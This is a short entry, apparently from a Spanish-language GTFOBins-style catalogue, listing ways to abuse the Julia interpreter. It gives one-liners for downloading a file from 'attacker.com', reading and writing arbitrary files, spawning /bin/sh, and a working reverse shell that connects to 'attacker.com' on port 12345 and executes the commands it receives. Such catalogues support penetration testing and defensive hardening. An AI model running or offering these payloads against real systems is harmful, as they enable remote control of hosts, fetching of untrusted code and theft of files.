./julia --examples
Funciones y ejemplos de uso
download
julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
file-read
julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'
file-write
julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'
reverse-shell
julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
shell
julia -e 'run(`/bin/sh`)'
./related --binary=julia
Binarios relacionados
Comparten al menos una función con julia.